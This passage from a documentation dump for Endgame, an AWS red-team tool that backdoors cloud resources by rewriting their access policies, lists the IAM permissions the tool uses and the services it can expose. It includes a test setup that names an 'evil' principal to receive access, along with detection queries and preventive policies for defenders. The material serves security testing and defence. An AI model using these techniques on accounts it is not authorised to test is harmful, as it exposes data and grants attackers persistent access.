McQuade](https://twitter.com/kmcquade3) that demonstrated to the industry how to write least privilege IAM policies at scale, restricting permissions according to specific resources and access levels.\n"
  },
  {
    "path": "docs/appendices/permissions-management-actions.md",
    "content": "\n\n## Actions\n\n### ACM PCA\n\n* Permissions\nacm-pca:CreatePermission\nacm-pca:DeletePermission\nacm-pca:DeletePolicy\nacm-pca:PutPolicy\n\n* `certificate-authority`: `arn:${Partition}:acm-pca:${Region}:${Account}:certificate-authority/${CertificateAuthorityId}`\n\n### API Gateway\napigateway:UpdateRestApiPolicy\n\n* ARN: `arn:${Partition}:apigateway:${Region}::${ApiGatewayResourcePath}`\n\n### AWS Backup\n\nbackup:DeleteBackupVaultAccessPolicy\nbackup:PutBackupVaultAccessPolicy\n\n* `backupVault`: `arn:${Partition}:backup:${Region}:${Account}:backup-vault:${BackupVaultName}`\n\n\n### Chime\nchime:DeleteVoiceConnectorTerminationCredentials\nchime:PutVoiceConnectorTerminationCredentials\n\n### CloudSearch\ncloudsearch:UpdateServiceAccessPolicies\n\n### CodeArtifact\n\ncodeartifact:DeleteDomainPermissionsPolicy\ncodeartifact:DeleteRepositoryPermissionsPolicy\n\n### CodeBuild\n\ncodebuild:DeleteResourcePolicy\ncodebuild:DeleteSourceCredentials\ncodebuild:ImportSourceCredentials\ncodebuild:PutResourcePolicy\n\n### CodeGuru Profiler\ncodeguru-profiler:PutPermission\ncodeguru-profiler:RemovePermission\n\n### CodeStar\ncodestar:AssociateTeamMember\ncodestar:CreateProject\ncodestar:DeleteProject\ncodestar:DisassociateTeamMember\ncodestar:UpdateTeamMember\n\n### Cognito Identity\n\ncognito-identity:CreateIdentityPool\ncognito-identity:DeleteIdentities\ncognito-identity:DeleteIdentityPool\ncognito-identity:GetId\ncognito-identity:MergeDeveloperIdentities\ncognito-identity:SetIdentityPoolRoles\ncognito-identity:UnlinkDeveloperIdentity\ncognito-identity:UnlinkIdentity\ncognito-identity:UpdateIdentityPool\n\n### Deeplens\n\ndeeplens:AssociateServiceRoleToAccount\n\n### Directory Service\nds:CreateConditionalForwarder\nds:CreateDirectory\nds:CreateMicrosoftAD\nds:CreateTrust\nds:ShareDirectory\n\n\n### EC2\n\n#### VPC Endpoint Network Interfaces\n\nec2:CreateNetworkInterfacePermission\nec2:DeleteNetworkInterfacePermission\nec2:ModifyVpcEndpointServicePermissions\n\n#### EC2 Snapshots\n\nec2:ModifySnapshotAttribute\nec2:ResetSnapshotAttribute\n\n### ECR\n\n* Repositories\n\necr:DeleteRepositoryPolicy\necr:SetRepositoryPolicy\necr-public:SetRepositoryPolicy\n\n### EFS\nelasticfilesystem:DeleteFileSystemPolicy\nelasticfilesystem:PutFileSystemPolicy\n\n### EMR\nelasticmapreduce:PutBlockPublicAccessConfiguration\n\n### ElasticSearch\nes:CreateElasticsearchDomain\nes:UpdateElasticsearchDomainConfig\n\n### Glacier\n\nglacier:AbortVaultLock\nglacier:CompleteVaultLock\nglacier:DeleteVaultAccessPolicy\nglacier:InitiateVaultLock\nglacier:SetDataRetrievalPolicy\nglacier:SetVaultAccessPolicy\n\n### Glue\n\nglue:DeleteResourcePolicy\nglue:PutResourcePolicy\n\n### Greengrass\n\ngreengrass:AssociateServiceRoleToAccount\n\n\n### Health\n\nhealth:DisableHealthServiceAccessForOrganization\nhealth:EnableHealthServiceAccessForOrganization\n\n### IAM Role Trust Policy\niam:AttachRolePolicy\n\niam:CreatePolicy\niam:CreatePolicyVersion\niam:CreateRole\niam:DeletePolicy\niam:DeletePolicyVersion\niam:DeleteRole\niam:DeleteRolePermissionsBoundary\niam:DeleteRolePolicy\niam:DetachRolePolicy\niam:PassRole\niam:PutRolePermissionsBoundary\niam:PutRolePolicy\niam:UpdateAssumeRolePolicy\niam:UpdateRole\n\n### Image Builder\n\nimagebuilder:GetContainerRecipePolicy\nimagebuilder:PutComponentPolicy\nimagebuilder:PutContainerRecipePolicy\nimagebuilder:PutImagePolicy\nimagebuilder:PutImageRecipePolicy\n\n### IOT\n\niot:AttachPolicy\niot:AttachPrincipalPolicy\niot:DetachPolicy\niot:DetachPrincipalPolicy\niot:SetDefaultAuthorizer\niot:SetDefaultPolicyVersion\n\n\n### IOT Sitewise\n\niotsitewise:CreateAccessPolicy\niotsitewise:DeleteAccessPolicy\niotsitewise:UpdateAccessPolicy\n\n\n### KMS\n\nkms:CreateGrant\nkms:PutKeyPolicy\nkms:RetireGrant\nkms:RevokeGrant\n\n### Lake Formation\n\nlakeformation:BatchGrantPermissions\nlakeformation:BatchRevokePermissions\nlakeformation:GrantPermissions\nlakeformation:PutDataLakeSettings\nlakeformation:RevokePermissions\n\n### Lambda\n\nlambda:AddLayerVersionPermission\nlambda:AddPermission\nlambda:DisableReplication\nlambda:EnableReplication\nlambda:RemoveLayerVersionPermission\nlambda:RemovePermission\n\n### Logs (CloudWatch)\n\nlogs:DeleteResourcePolicy\nlogs:PutResourcePolicy\n\n### MediaStore\n\nmediastore:DeleteContainerPolicy\nmediastore:PutContainerPolicy\n\n### OpsWorks\n\nopsworks:SetPermission\nopsworks:UpdateUserProfile\n\n### QuickSight\n\nquicksight:CreateAdmin\nquicksight:CreateGroup\nquicksight:CreateGroupMembership\nquicksight:CreateIAMPolicyAssignment\nquicksight:CreateUser\nquicksight:DeleteGroup\nquicksight:DeleteGroupMembership\nquicksight:DeleteIAMPolicyAssignment\nquicksight:DeleteUser\nquicksight:DeleteUserByPrincipalId\nquicksight:DescribeDataSetPermissions\nquicksight:DescribeDataSourcePermissions\nquicksight:RegisterUser\nquicksight:UpdateDashboardPermissions\nquicksight:UpdateDataSetPermissions\nquicksight:UpdateDataSourcePermissions\nquicksight:UpdateGroup\nquicksight:UpdateIAMPolicyAssignment\nquicksight:UpdateTemplatePermissions\nquicksight:UpdateUser\n\n### RAM\n\nram:AcceptResourceShareInvitation\nram:AssociateResourceShare\nram:CreateResourceShare\nram:DeleteResourceShare\nram:DisassociateResourceShare\nram:EnableSharingWithAwsOrganization\nram:RejectResourceShareInvitation\nram:UpdateResourceShare\n\n### Redshift\n\nredshift:AuthorizeSnapshotAccess\nredshift:CreateClusterUser\nredshift:CreateSnapshotCopyGrant\nredshift:JoinGroup\nredshift:ModifyClusterIamRoles\nredshift:RevokeSnapshotAccess\n\n### Route53 Resolver\nroute53resolver:PutResolverRulePolicy\n\n### S3\ns3:BypassGovernanceRetention\ns3:DeleteAccessPointPolicy\ns3:DeleteBucketPolicy\ns3:ObjectOwnerOverrideToBucketOwner\ns3:PutAccessPointPolicy\ns3:PutAccountPublicAccessBlock\ns3:PutBucketAcl\ns3:PutBucketPolicy\ns3:PutBucketPublicAccessBlock\ns3:PutObjectAcl\ns3:PutObjectVersionAcl\n\n\n### S3 outposts\n\ns3-outposts:DeleteAccessPointPolicy\ns3-outposts:DeleteBucketPolicy\ns3-outposts:PutAccessPointPolicy\ns3-outposts:PutBucketPolicy\ns3-outposts:PutObjectAcl\n\n### Secrets Manager\n\nsecretsmanager:DeleteResourcePolicy\nsecretsmanager:PutResourcePolicy\nsecretsmanager:ValidateResourcePolicy\n\n### Signer\n\nsigner:AddProfilePermission\nsigner:ListProfilePermissions\nsigner:RemoveProfilePermission\n\n### SNS\nsns:AddPermission\nsns:CreateTopic\nsns:RemovePermission\nsns:SetTopicAttributes\n\n### SQS\nsqs:AddPermission\nsqs:CreateQueue\nsqs:RemovePermission\nsqs:SetQueueAttributes\n\n### SSM\nssm:ModifyDocumentPermission\n\n### SSO\nsso:AssociateDirectory\nsso:AssociateProfile\nsso:CreateApplicationInstance\nsso:CreateApplicationInstanceCertificate\nsso:CreatePermissionSet\nsso:CreateProfile\nsso:CreateTrust\nsso:DeleteApplicationInstance\nsso:DeleteApplicationInstanceCertificate\nsso:DeletePermissionSet\nsso:DeletePermissionsPolicy\nsso:DeleteProfile\nsso:DisassociateDirectory\nsso:DisassociateProfile\nsso:ImportApplicationInstanceServiceProviderMetadata\nsso:PutPermissionsPolicy\nsso:StartSSO\nsso:UpdateApplicationInstanceActiveCertificate\nsso:UpdateApplicationInstanceDisplayData\nsso:UpdateApplicationInstanceResponseConfiguration\nsso:UpdateApplicationInstanceResponseSchemaConfiguration\nsso:UpdateApplicationInstanceSecurityConfiguration\nsso:UpdateApplicationInstanceServiceProviderConfiguration\nsso:UpdateApplicationInstanceStatus\nsso:UpdateDirectoryAssociation\nsso:UpdatePermissionSet\nsso:UpdateProfile\nsso:UpdateSSOConfiguration\nsso:UpdateTrust\nsso-directory:AddMemberToGroup\nsso-directory:CreateAlias\nsso-directory:CreateGroup\nsso-directory:CreateUser\nsso-directory:DeleteGroup\nsso-directory:DeleteUser\nsso-directory:DisableUser\nsso-directory:EnableUser\nsso-directory:RemoveMemberFromGroup\nsso-directory:UpdateGroup\nsso-directory:UpdatePassword\nsso-directory:UpdateUser\nsso-directory:VerifyEmail\n\n\n### Storage Gateway\n\nstoragegateway:DeleteChapCredentials\nstoragegateway:SetLocalConsolePassword\nstoragegateway:SetSMBGuestPassword\nstoragegateway:UpdateChapCredentials\n\n\n### WAF\n\nwaf:DeletePermissionPolicy\nwaf:PutPermissionPolicy\nwaf-regional:DeletePermissionPolicy\nwaf-regional:PutPermissionPolicy\nwafv2:CreateWebACL\nwafv2:DeletePermissionPolicy\nwafv2:DeleteWebACL\nwafv2:PutPermissionPolicy\nwafv2:UpdateWebACL\n"
  },
  {
    "path": "docs/appendices/roadmap.md",
    "content": "### Backdoors via AWS Resource Access Manager\n\nBy default, AWS RAM allows you to share resources with **any** AWS Account.\n\nSupported resource types are listed in the AWS documentation [here](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html).\n\n## Status\n\nThis exploit method is not currently implemented. Please come back later when we've implemented it.\n\nTo get notified when it is available, you can take one of the following methods:\n1. In GitHub, select \"Watch for new releases\"\n2. Follow the author [@kmcquade](https://twitter.com/kmcquade3) on Twitter. He will announce when this feature is available 😃\n\n### Resources not on roadmap\n\n| Resource Type                 | Support Status |\n|-------------------------------|----------------|\n| S3 Objects                    | ❌             |\n| CloudWatch Destinations       | ❌             |\n| Glue                          | ❌             |\n\n* **S3 Buckets**: We do not plan on sharing individual S3 objects given the sheer amount of bandwidth that would require. If you want this feature, I suggest scripting it.\n* **CloudWatch Destinations**: Modifying CloudWatch destination policies would only provide the benefit of delivering victim logs to attacker accounts - but that would have to be open permanently. This is not as destructive or useful to an attacker as the rest of these exploits, so I am not including it here.\n* **Glue**: According to the [AWS documentation on AWS Glue Resource Policies](https://docs.aws.amazon.com/glue/latest/dg/glue-resource-policies.html), _\"An AWS Glue resource policy can only be used to manage permissions for Data Catalog resources. You can't attach it to any other AWS Glue resources such as jobs, triggers, development endpoints, crawlers, or classifiers\"_. This kind of data access is not as useful as destructive actions, at first glance. We are open to supporting this resource, but on pull requests only.\n"
  },
  {
    "path": "docs/appendices/terraform-demo-infrastructure.md",
    "content": "# Terraform Demo Infrastructure\n\nThis program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you.\n\n> 🚨This will create real AWS infrastructure and will cost you money! 🚨\n\n> _Note: It is not exposed to rogue IAM users or to the internet at first. That will only happen after you run the exposure commands._\n\n## Prerequisites\n\n* Valid credentials to an AWS account\n* AWS CLI should be set up locally\n* Terraform should be installed\n\n\n### Installing Terraform\n\n* Install `tfenv` (Terraform version manager) via Homebrew, and install Terraform 0.12.28\n\n```bash\nbrew install tfenv\ntfenv install 0.12.28\ntfenv use 0.12.28\n```\n\n### Build the demo infrastructure\n\n* Run the Terraform code to generate the example AWS resources.\n\n```bash\nmake terraform-demo\n```\n\n* Don't forget to clean up after.\n\n```bash\nmake terraform-destroy\n```\n"
  },
  {
    "path": "docs/contributing/contributing.md",
    "content": ""
  },
  {
    "path": "docs/contributing/testing.md",
    "content": "# Testing\n\n## Unit tests\n\n* Run [pytest](https://docs.pytest.org/en/stable/) with the following:\n\n```bash\nmake test\n```\n\n## Security tests\n\n* Run [bandit](https://bandit.readthedocs.io/en/latest/) with the following:\n\n```bash\nmake security-test\n```\n\n## Integration tests\n\nAfter making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS.\n\n* First, set your environment variables\n\n```bash\n# Set the environment variable for the username that you will create a backdoor for.\nexport EVIL_PRINCIPAL=\"arn:aws:iam::999988887777:user/evil\"\nexport AWS_REGION=\"us-east-1\"\nexport AWS_PROFILE=\"default\"\n```\n\n* Then run the full-fledged integration test:\n\n```bash\nmake integration-test\n```\n\nThis does the following:\n\n* Sets up your local dev environment (see `setup-dev`) in the `Makefile`\n* Creates the Terraform infrastructure (see `terraform-demo` in the `Makefile`)\n* Runs `list-resources`, `exploit --dry-run`, and `expose` against this live infrastructure\n* Destroys the Terraform infrastructure (see `terraform-destroy` in the `Makefile`)\n\nNote that the `expose` command will not expose the resources to the world - it will only expose them to your rogue user, not to the world.\n"
  },
  {
    "path": "docs/custom.css",
    "content": "div.doc-contents:not(.first) {\n  padding-left: 25px;\n  border-left: 4px solid rgba(230, 230, 230);\n  margin-bottom: 80px;\n}\n\ndiv.doc-contents:not(.first) {\n  padding-left: 25px;\n  border-left: 4px solid rgba(230, 230, 230);\n  margin-bottom: 80px;\n}\n\ndiv.doc-module {\n    font-size: 1em;\n}\n\nh5.doc-heading {\n  text-transform: none !important;\n}\n\nh6.hidden-toc {\n  margin: 0 !important;\n  position: relative;\n  top: -70px;\n}\n\nh6.hidden-toc::before {\n  margin-top: 0 !important;\n  padding-top: 0 !important;\n}\n\nh6.hidden-toc a.headerlink {\n  display: none;\n}\n\ntd code {\n  word-break: normal !important;\n}\n\ntd p {\n  margin-top: 0 !important;\n  margin-bottom: 0 !important;\n}\n"
  },
  {
    "path": "docs/detection.md",
    "content": "# Detection\n\nThere are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks:\n\n1. User Agent Detection (Endgame specific)\n2. API call detection\n3. Behavioral-based detection\n4. AWS Access Analyzer\n\nWhile (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it.\n\n## Detecting Resource Exposure Attacks\n\n### API Call Detection\n\nFurther documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](./risks).\n\n### Behavioral-based detection\n\nBehavioral-based detection is currently being researched and developed by [Ryan Stalets](https://twitter.com/RyanStalets). [GitHub issue #46](https://github.com/salesforce/endgame/issues/46) is being used to track this work. We welcome all contributions and discussion!\n\n## Detecting Endgame\n\n### User Agent Detection\n\nEndgame uses the user agent `HotDogsAreSandwiches` by default. While this can be overriden using the `--cloak` flag, defense teams can still use it as an IOC.\n\nThe following CloudWatch Insights query will expose events with the `HotDogsAreSandwiches` user agent in CloudTrail logs:\n\n```\nfields eventTime, eventSource, eventName, userIdentity.arn, userAgent \n| filter userAgent='HotDogsAreSandwiches'\n```\n\nThis query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.\n\nFurther documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](risks).\n\n### AWS Access Analyzer\n\n[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later.\n\nHowever, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor.\n\nConsider leveraging `aws:PrincipalOrgID` or `aws:PrincipalOrgPaths` in your Access Analyzer filter keys to detect access from IAM principals outside your AWS account. See [Access Analyzer Filter Keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-reference-filter-keys.html) for more details.\n\n## Further Reading\n\nAdditional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is [here](resource-policy-primer.md).\n"
  },
  {
    "path": "docs/iam-permissions.md",
    "content": "# IAM Permissions\n\nThe IAM Permissions listed below are used to create these backdoors.\n\nYou don't need **all** of these permissions to run the tool. You just need enough from each service. For example, `s3:ListAllMyBuckets`, `s3:GetBucketPolicy`, and `s3:PutBucketPolicy` are all the permissions needed to leverage this tool to expose S3 buckets.\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n            {\n            \"Sid\": \"IAmInevitable\",\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"acm-pca:DeletePolicy\",\n                \"acm-pca:GetPolicy\",\n                \"acm-pca:ListCertificateAuthorities\",\n                \"acm-pca:PutPolicy\",\n                \"ec2:DescribeImageAttribute\",\n                \"ec2:DescribeImages\",\n                \"ec2:DescribeSnapshotAttribute\",\n                \"ec2:DescribeSnapshots\",\n                \"ec2:ModifySnapshotAttribute\",\n                \"ec2:ModifyImageAttribute\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:DeleteRepositoryPolicy\",\n                \"ecr:GetRepositoryPolicy\",\n                \"ecr:SetRepositoryPolicy\",\n                \"elasticfilesystem:DescribeFileSystems\",\n                \"elasticfilesystem:DescribeFileSystemPolicy\",\n                \"elasticfilesystem:PutFileSystemPolicy\",\n                \"es:DescribeElasticsearchDomainConfig\",\n                \"es:ListDomainNames\",\n                \"es:UpdateElasticsearchDomainConfig\",\n                \"glacier:GetVaultAccessPolicy\",\n                \"glacier:ListVaults\",\n                \"glacier:SetVaultAccessPolicy\",\n                \"iam:GetRole\",\n                \"iam:ListRoles\",\n                \"iam:UpdateAssumeRolePolicy\",\n                \"kms:GetKeyPolicy\",\n                \"kms:ListKeys\",\n                \"kms:ListAliases\",\n                \"kms:PutKeyPolicy\",\n                \"lambda:AddLayerVersionPermission\",\n                \"lambda:AddPermission\",\n                \"lambda:GetPolicy\",\n                \"lambda:GetLayerVersionPolicy\",\n                \"lambda:ListFunctions\",\n                \"lambda:ListLayers\",\n                \"lambda:ListLayerVersions\",\n                \"lambda:RemoveLayerVersionPermission\",\n                \"lambda:RemovePermission\",\n                \"logs:DescribeResourcePolicies\",\n                \"logs:DeleteResourcePolicy\",\n                \"logs:PutResourcePolicy\",\n                \"rds:DescribeDbClusterSnapshots\",\n                \"rds:DescribeDbClusterSnapshotAttributes\",\n                \"rds:DescribeDbSnapshots\",\n                \"rds:DescribeDbSnapshotAttributes\",\n                \"rds:ModifyDbSnapshotAttribute\",\n                \"rds:ModifyDbClusterSnapshotAttribute\",\n                \"s3:GetBucketPolicy\",\n                \"s3:ListAllMyBuckets\",\n                \"s3:PutBucketPolicy\",\n                \"secretsmanager:GetResourcePolicy\",\n                \"secretsmanager:DeleteResourcePolicy\",\n                \"secretsmanager:ListSecrets\",\n                \"secretsmanager:PutResourcePolicy\",\n                \"ses:DeleteIdentityPolicy\",\n                \"ses:GetIdentityPolicies\",\n                \"ses:ListIdentities\",\n                \"ses:ListIdentityPolicies\",\n                \"ses:PutIdentityPolicy\",\n                \"sns:AddPermission\",\n                \"sns:ListTopics\",\n                \"sns:GetTopicAttributes\",\n                \"sns:RemovePermission\",\n                \"sqs:AddPermission\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:ListQueues\",\n                \"sqs:RemovePermission\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}\n```\n\n"
  },
  {
    "path": "docs/index.md",
    "content": "# Endgame: Creating Backdoors in AWS\n\nAn AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire Internet 😈\n\n<p align=\"center\">\n  <img src=\"images/endgame.gif\">\n</p>\n\n\nEndgame abuses AWS's resource permission model to grant rogue users (or the Internet) access to an AWS account's resources with a single command. It does this through one of three methods:\n\n1. Modifying [resource-based policies](https://endgame.readthedocs.io/en/latest/resource-policy-primer/) (such as [S3 Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html#bucket-policy-static-site) or [Lambda Function policies](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html#permissions-resource-xaccountinvoke))\n2. Resources that can be made public through sharing APIs (such as [Amazon Machine Images (AMIs)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html), [EBS disk snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html), and [RDS database snapshots](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html))\n3. Sharing resources via [AWS Resource Access Manager (RAM)](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html)\n\nEndgame was created to:\n\n* Push [AWS](https://endgame.readthedocs.io/en/latest/recommendations-to-aws/) to improve coverage of AWS Access Analyzer so AWS users can protect themselves.\n* Show [blue teams](https://endgame.readthedocs.io/en/latest/recommendations-to-blue-teams/) and developers what kind of damage can be done by overprivileged/leaked accounts.\n* Help red teams to demonstrate impact of their access.\n\nEndgame demonstrates (with a bit of shock and awe) how simple human errors in excessive permissions (such a granting `s3:*` access instead of `s3:GetObject`) can be abused by attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves. This is what inspired us to write this tool. Follow the [Tutorial](./tutorial.md) and observe how you can expose resources across **17 different AWS services** to the Internet in a matter of seconds.\n\nThe resource types that can be exposed are of high value to attackers. This can include:\n\n* Privileged compute access (by exposing who can invoke `lambda` functions)\n* Database snapshots (`rds`), Storage buckets (`s3`), file systems (`elasticfilesystem`), storage backups (`glacier`), disk snapshots (`ebs` snapshots),\n* Encryption keys (`kms`), secrets (`secretsmanager`), and private certificate authorities (`acm-pca`)\n* Messaging and notification services (`sqs` queues, `sns` topics, `ses` authorized senders)\n* Compute artifacts (`ec2` AMIs, `ecr` images, `lambda` layers)\n* Logging endpoints (`cloudwatch` resource policies)\n* Search and analytics engines (`elasticsearch` clusters)\n\nEndgame is an attack tool, but it was written with a specific purpose. We wrote this tool with desired outcomes for the following audiences:\n\n1. **AWS**: We want AWS to empower their customers with the capabilities to fight these attacks. Our recommendations are outlined in the [Recommendations to AWS](./recommendations-to-aws.md) section.\n2. **AWS Customers and their customers**: It is better to have risks be more easily understood and know how to mitigate those risks than to force people to fight something novel. By increasing awareness about Resource Exposure and excessive permissions, we can protect ourselves against attacks where the attackers previously held the advantage and AWS customers were previously left blind.\n3. **Blue Teams**: Defense teams can leverage the guidance around user-agent detection, API call detection, and behavioral detection outlined in the [Recommendations to Blue Teams](prevention.md) section.\n4. **Red Teams**: This will make for some very eventful red team exercises. Make sure you give the Blue Team kudos when they catch you!\n\n\n## Supported Backdoors\n\nEndgame can create backdoors for resources in any of the services listed in the table below.\n\nNote: At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊\n\n| Backdoor Resource Type                                  | Endgame | [AWS Access Analyzer Support][1] |\n|---------------------------------------------------------|---------|----------------------------------|\n| [ACM Private CAs](risks/acm-pca.md)                | ✅     | ❌                               |\n| [CloudWatch Resource Policies](risks/logs.md)      | ✅     | ❌                               |\n| [EBS Volume Snapshots](risks/ebs.md)               | ✅     | ❌                               |\n| [EC2 AMIs](risks/amis.md)                          | ✅     | ❌                               |\n| [ECR Container Repositories](risks/ecr.md)         | ✅     | ❌                               |\n| [EFS File Systems](risks/efs.md)                   | ✅     | ❌                               |\n| [ElasticSearch Domains](risks/es.md)               | ✅     | ❌                               |\n| [Glacier Vault Access Policies](risks/glacier.md)  | ✅     | ❌                               |\n| [IAM Roles](risks/iam-roles.md)                    | ✅     | ✅                               |\n| [KMS Keys](risks/kms.md)                           | ✅     | ✅                               |\n| [Lambda Functions](risks/lambda-functions.md)      | ✅     | ✅                               |\n| [Lambda Layers](risks/lambda-layers.md)            | ✅     | ✅                               |\n| [RDS Snapshots](risks/rds-snapshots.md)            | ✅     | ❌                               |\n| [S3 Buckets](risks/s3.md)                          | ✅     | ✅                               |\n| [Secrets Manager Secrets](risks/secretsmanager.md) | ✅     | ✅                               |\n| [SES Sender Authorization Policies](risks/ses.md)  | ✅     | ❌                               |\n| [SQS Queues](risks/sqs.md)                         | ✅     | ✅                               |\n| [SNS Topics](risks/sns.md)                         | ✅     | ❌                               |\n\n[1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html\n"
  },
  {
    "path": "docs/installation.md",
    "content": "# Installation\n\n* pip3\n\n```bash\npip3 install --user endgame\n```\n\n* Homebrew (this will not work until the repository is public)\n\n```bash\nbrew tap salesforce/endgame https://github.com/salesforce/endgame\nbrew install endgame\n```\n\nNow you should be able to execute `endgame` from command line by running `endgame --help`.\n\n#### Shell Completion\n\n* To enable Bash completion, put this in your `~/.bashrc`:\n\n```bash\neval \"$(_ENDGAME_COMPLETE=source endgame)\"\n```\n\n* To enable ZSH completion, put this in your `~/.zshrc`:\n\n```bash\neval \"$(_ENDGAME_COMPLETE=source_zsh endgame)\"\n```\n"
  },
  {
    "path": "docs/prevention.md",
    "content": "# Prevention\n\nThere are 6 general methods that blue teams can use to **prevent** AWS Resource Exposure Attacks:\n\n1. Use AWS KMS Customer-Managed Keys to encrypt resources\n2. Leverage Strong Resource-based Policies\n3. Trusted Accounts Only\n4. Inventory which IAM Principals are capable of Resource Exposure\n5. AWS Service Control Policies\n6. Prevent AWS RAM External Principals\n\n## Use AWS KMS Customer-Managed Keys\n\nIf an attacker does not have access to your Customer Managed Key, the attacker cannot access the resource. You can leverage this strategy to prevent cases in which your resources are leaked to the internet but the attacker did not have access to the encryption key.\n\nAdditionally, use strong resource-based policies on the Customer Managed Keys and leverage them to prevent other IAM Principals in the account from using that key for decrypt operations or management operations. If the attacker cannot use the key to decrypt, they effectively cannot access the resource.\n\n## Leverage strong resource-based policies\n\nStrong resource-based policies can ensure that only the intended IAM principals can modify the KMS key policy (i.e, using `kms:PutKeyPolicy` permissions. Under this scenario, even if an attacker has privileged access, if they are not granted `kms:PutKeyPolicy` by the KMS key, then they can't subvert your KMS encryption.\n\n## Trusted Accounts Only\n\nPractice good security hygiene throughout your SDLC. Ensure that only trusted accounts are allowed any level of access to your accounts, especially via resource-based policies.\n\n## Inventory which IAM Principals are Capable of Resource Exposure\n\nConsider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)\n\n## AWS Service Control Policies (SCPs)\n\nAWS Service Control Policies (SCPs) cannot be used to strictly prevent resources from becoming public.\n\nHowever, there are well-known AWS Service Control Policies that can force encryption on EBS and RDS snapshots, which essentially also blocks public access as mentioned above.\n\n### Enforce RDS Encryption\n\nAs covered in [this blog post](https://medium.com/@cbchhaya/aws-scp-to-mandate-rds-encryption-6b4dc8b036a), the following AWS SCP can be used to Mandate RDS Encryption:\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"StatementForOtherRDS\",\n            \"Effect\": \"Deny\",\n            \"Action\": [\n                \"rds:CreateDBInstance\"\n            ],\n            \"Resource\": [\n                \"*\"\n            ],\n            \"Condition\": {\n                \"ForAnyValue:StringEquals\": {\n                    \"rds:DatabaseEngine\": [\n                        \"mariadb\",\n                        \"mysql\",\n                        \"oracle-ee\",\n                        \"oracle-se2\",\n                        \"oracle-se1\",\n                        \"oracle-se\",\n                        \"postgres\",\n                        \"sqlserver-ee\",\n                        \"sqlserver-se\",\n                        \"sqlserver-ex\",\n                        \"sqlserver-web\"\n                    ]\n                },\n                \"Bool\": {\n                    \"rds:StorageEncrypted\": \"false\"\n                }\n            }\n        },\n        {\n            \"Sid\": \"StatementForAurora\",\n            \"Effect\": \"Deny\",\n            \"Action\": [\n                \"rds:CreateDBCluster\"\n            ],\n            \"Resource\": [\n                \"*\"\n            ],\n            \"Condition\": {\n                \"Bool\": {\n                    \"rds:StorageEncrypted\": \"false\"\n                }\n            }\n        }\n    ]\n}\n```\n\n### Require Encryption on All S3 Buckets\n\nThe following SCP requires that all Amazon S3 buckets use AES256 encryption in an AWS Account.\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Action\": [\n                \"s3:PutObject\"\n            ],\n            \"Resource\": \"*\",\n            \"Effect\": \"Deny\",\n            \"Condition\": {\n                \"StringNotEquals\": {\n                    \"s3:x-amz-server-side-encryption\": \"AES256\"\n                }\n            }\n        },\n        {\n            \"Action\": [\n                \"s3:PutObject\"\n            ],\n            \"Resource\": \"*\",\n            \"Effect\": \"Deny\",\n            \"Condition\": {\n                \"Bool\": {\n                    \"s3:x-amz-server-side-encryption\": false\n                }\n            }\n        }\n    ]\n}\n```\n\n### Protect S3 Block Public Access\n\nAfter setting up your AWS account, set the [S3 Block Public Access](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html) to enforce at the AWS Account level (not just the bucket level). Then, apply this SCP to prevent users or roles in any affected account from modifying the S3 Block Public Access Settings in an Account.\n\nNote: This will only eliminate the risk of modifying an S3 bucket policy to allow `*` Principals. It will not eliminate the risk of modifying an S3 bucket policy to allow rogue IAM users or rogue accounts.\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:PutBucketPublicAccessBlock\"\n      ],\n      \"Resource\": \"*\",\n      \"Effect\": 